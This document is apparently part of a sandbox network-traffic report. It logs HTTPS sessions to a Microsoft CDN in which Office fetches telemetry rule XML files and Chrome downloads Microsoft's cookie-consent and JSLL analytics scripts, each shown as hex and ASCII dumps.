2024-11-25 11:07:43 UTC	711	IN	Data Raw: 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c 61 62 65 6c 3a 68 6f 76 65 72 3a 3a 61 66 74 65 72 20 7b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 68 6f 76 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c Data Ascii: or"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + label:hover::after {\n background-color: "+e["radio-button-hover-background-color"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + l
2024-11-25 11:07:43 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 64 69 73 61 62 6c 65 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 7d 2c 65 7d 28 29 2c 64 3d 5b 22 61 72 22 2c 22 68 65 22 2c 22 70 73 22 2c 22 75 72 22 2c 22 66 61 22 2c 22 70 61 22 2c 22 73 64 22 2c 22 74 6b 22 2c 22 75 67 22 2c 22 79 69 22 2c 22 73 79 72 22 2c 22 6b 73 2d 61 72 61 62 22 5d 2c 75 3d 7b 22 63 6c 6f 73 65 2d 62 75 74 74 6f 6e 2d 63 6f 6c 6f 72 22 3a 22 23 36 36 36 36 36 36 22 2c 22 73 65 63 6f 6e 64 61 72 79 2d 62 75 74 74 6f 6e 2d 64 69 73 61 62 6c 65 64 2d 6f 70 61 63 69 74 79 22 3a 22 31 22 2c 22 73 65 63 6f 6e 64 61 72 79 2d 62 75 74 74 6f Data Ascii: background-color: "+e["radio-button-disabled-color"]+" !important;\n }"},e}(),d=["ar","he","ps","ur","fa","pa","sd","tk","ug","yi","syr","ks-arab"],u={"close-button-color":"#666666","secondary-button-disabled-opacity":"1","secondary-butto
2024-11-25 11:07:43 UTC	3567	IN	Data Raw: 28 22 2d 22 29 5b 30 5d 3b 6f 3d 65 2e 73 70 6c 69 74 28 22 2d 22 29 5b 30 5d 3d 3d 3d 6e 7d 72 65 74 75 72 6e 20 6f 7d 28 65 2c 63 29 7d 29 29 3b 73 26 26 30 3d 3d 3d 73 2e 6c 65 6e 67 74 68 26 26 28 65 3d 22 65 6e 2d 55 53 22 29 2c 6f 2e 70 6c 61 63 65 68 6f 6c 64 65 72 45 6c 65 6d 65 6e 74 3d 6c 2c 72 26 26 6f 2e 63 6f 6e 73 65 6e 74 43 68 61 6e 67 65 64 43 61 6c 6c 62 61 63 6b 73 2e 72 65 67 69 73 74 65 72 43 61 6c 6c 62 61 63 6b 28 72 29 2c 6f 2e 73 61 76 65 43 6f 6f 6b 69 65 28 29 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 3d 6e 65 77 20 66 28 21 31 29 2c 6e 75 6c 6c 3d 3d 6e 7c 7c 6e 28 76 6f 69 64 20 30 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 29 2c 6f 2e 69 73 49 6e 69 74 52 65 61 64 79 3d 21 30 2c 74 68 69 73 2e 63 6f 6e 73 65 6e 74 43 68 61 6e Data Ascii: ("-")[0];o=e.split("-")[0]===n}return o}(e,c)}));s&&0===s.length&&(e="en-US"),o.placeholderElement=l,r&&o.consentChangedCallbacks.registerCallback(r),o.saveCookie(),o.siteConsent=new f(!1),null==n\|\|n(void 0,o.siteConsent),o.isInitReady=!0,this.consentChan

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.5	49793	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:44 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:45 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:45 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 1ea24147-701e-000d-3aeb-3e6de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110745Z-174c587ffdf8fcgwhC1TEBnn70000000060g0000000084pf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:45 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.5	49791	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:44 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:45 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:45 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 891407d0-301e-0096-28a6-3ee71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110745Z-178bfbc474bp8mkvhC1NYCzqnn000000076g000000006m4p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:45 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.5	49790	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:44 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:45 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:45 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 90758f84-b01e-0021-4c46-3ccab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110745Z-15b8b599d88l2dpthC1TEBmzr000000005v0000000005bp3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:45 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.5	49792	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:44 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:45 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:45 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: abcc4943-b01e-00ab-2315-3ddafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110745Z-178bfbc474bq2pr7hC1NYCkfgg00000007n0000000000wvd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:45 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.5	49794	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:44 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:45 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:45 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: b855c3e2-e01e-0051-540f-3e84b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110745Z-15b8b599d88tr2flhC1TEB5gk4000000060g0000000057m4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:45 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.5	49796	13.107.246.63	443	4708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:45 UTC	373	OUT	GET /mscc/lib/v2/wcp-consent.js HTTP/1.1 Host: wcpstatic.microsoft.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-25 11:07:46 UTC	713	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:45 GMT Content-Type: application/javascript Content-Length: 52717 Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 14531 Cache-Control: max-age=43200 Content-MD5: QT/MdZzBmCG2G2lBgIsptQ== Etag: 0x8DA85F6F74C6D08 Last-Modified: Wed, 24 Aug 2022 17:34:58 GMT Vary: Accept-Encoding X-Cache: CONFIG_NOCACHE x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 74184934-601e-00b6-5c08-3fb2a9000000 x-ms-version: 2009-09-19 x-azure-ref: 20241125T110745Z-15b8b599d882l6clhC1TEBxd5c00000005s0000000007e0s Accept-Ranges: bytes
2024-11-25 11:07:46 UTC	15671	IN	Data Raw: 76 61 72 20 57 63 70 43 6f 6e 73 65 6e 74 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 32 32 39 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 77 69 6e 64 6f 77 2c 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 69 66 28 74 5b 6e 5d 29 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 74 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 72 2e 6c 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 74 2c 6f 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 Data Ascii: var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e
2024-11-25 11:07:46 UTC	16384	IN	Data Raw: 29 7b 72 65 74 75 72 6e 20 65 3f 65 2e 72 65 70 6c 61 63 65 28 2f 26 2f 67 2c 22 26 61 6d 70 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3c 2f 67 2c 22 26 6c 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3e 2f 67 2c 22 26 67 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 22 2f 67 2c 22 26 71 75 6f 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 27 2f 67 2c 22 26 23 30 33 39 3b 22 29 3a 22 22 7d 2c 65 7d 28 29 2c 61 3d 6e 2e 6c 6f 63 61 6c 73 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 2c 6f 2c 6e 2c 72 2c 69 2c 61 29 7b 74 68 69 73 2e 64 69 72 65 63 74 69 6f 6e 3d 22 6c 74 72 22 2c 74 68 69 73 2e 70 72 65 76 69 6f 75 73 46 6f 63 75 73 45 6c 65 6d 65 6e 74 42 65 66 6f 72 65 50 6f 70 75 70 3d 6e 75 6c 6c 2c 74 68 69 73 2e 63 6f 6f 6b 69 Data Ascii: ){return e?e.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/"/g,""").replace(/'/g,"'"):""},e}(),a=n.locals,l=function(){function e(e,t,o,n,r,i,a){this.direction="ltr",this.previousFocusElementBeforePopup=null,this.cooki
2024-11-25 11:07:46 UTC	82	IN	Data Raw: 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 Data Ascii: or"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" +
2024-11-25 11:07:46 UTC	16384	IN	Data Raw: 6c 61 62 65 6c 3a 68 6f 76 65 72 3a 3a 61 66 74 65 72 20 7b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 68 6f 76 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c 61 62 65 6c 3a 66 6f 63 75 73 3a 3a 62 65 66 6f 72 65 20 7b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 68 6f 76 65 72 2d 62 6f 72 64 65 72 Data Ascii: label:hover::after {\n background-color: "+e["radio-button-hover-background-color"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + label:focus::before {\n border: 1px solid "+e["radio-button-hover-border
2024-11-25 11:07:46 UTC	4196	IN	Data Raw: 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 74 5b 6f 2d 31 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 6f 5d 3b 76 61 72 20 6e 3d 74 68 69 73 2e 65 76 65 6e 74 73 5b 65 5d 3b 6e 26 26 6e 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 74 29 7d 29 29 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 74 2c 6f 29 3a 65 2e 61 74 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 22 2b 74 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6f 2e 63 61 6c 6c 28 65 29 7d 29 29 7d 2c 65 2e 63 6f 6f 6b 69 65 4e 61 6d 65 3d 22 4d 53 43 43 22 2c 65 Data Ascii: .length;o++)t[o-1]=arguments[o];var n=this.events[e];n&&n.forEach((function(e){e.apply(null,t)}))},e.prototype.addEventListener=function(e,t,o){e.addEventListener?e.addEventListener(t,o):e.attachEvent("on"+t,(function(){o.call(e)}))},e.cookieName="MSCC",e

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.5	49799	13.107.246.63	443	4708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:46 UTC	370	OUT	GET /scripts/c/ms.jsll-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-25 11:07:46 UTC	889	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:46 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 207935 Connection: close Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 14 Oct 2024 17:27:31 GMT ETag: 0x8DCEC757C1AD1D1 x-ms-request-id: 24663fe8-301e-00d3-0bb2-2cfca8000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 4.3.3 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.jsll-4.3.3.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241125T110746Z-174c587ffdftjz9shC1TEBsh9800000005s0000000005ggf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:46 UTC	15495	IN	Data Raw: 2f 2a 21 0a 20 2a 20 31 44 53 20 4a 53 4c 4c 20 53 4b 55 2c 20 34 2e 33 2e 33 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 20 2a 20 28 4d 69 63 72 6f 73 6f 66 74 20 49 6e 74 65 72 6e 61 6c 20 4f 6e 6c 79 29 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 75 6e 64 65 66 69 6e 65 64 22 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 21 3d 6e 29 74 28 65 78 70 6f 72 74 73 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 Data Ascii: /! 1DS JSLL SKU, 4.3.3 * Copyright (c) Microsoft and contributors. All rights reserved. * (Microsoft Internal Only) */!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&defi
2024-11-25 11:07:46 UTC	16384	IN	Data Raw: 28 69 29 3a 28 72 3d 66 65 28 22 63 6f 6e 73 6f 6c 65 22 29 29 26 26 28 72 2e 65 72 72 6f 72 7c 7c 72 2e 6c 6f 67 29 28 74 2c 63 65 28 69 29 29 29 29 7d 53 65 28 61 3d 7b 74 68 65 6e 3a 6f 2c 22 63 61 74 63 68 22 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6f 28 75 6e 64 65 66 69 6e 65 64 2c 65 29 7d 2c 22 66 69 6e 61 6c 6c 79 22 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2c 6e 3d 74 3b 72 65 74 75 72 6e 20 51 28 74 29 26 26 28 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 26 26 74 28 29 2c 65 7d 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 72 6f 77 20 74 26 26 74 28 29 2c 65 7d 29 2c 6f 28 65 2c 6e 29 7d 7d 2c 22 73 74 61 74 65 22 2c 7b 67 65 74 3a 64 7d 29 2c 68 74 28 29 26 26 28 61 5b 6d 74 28 Data Ascii: 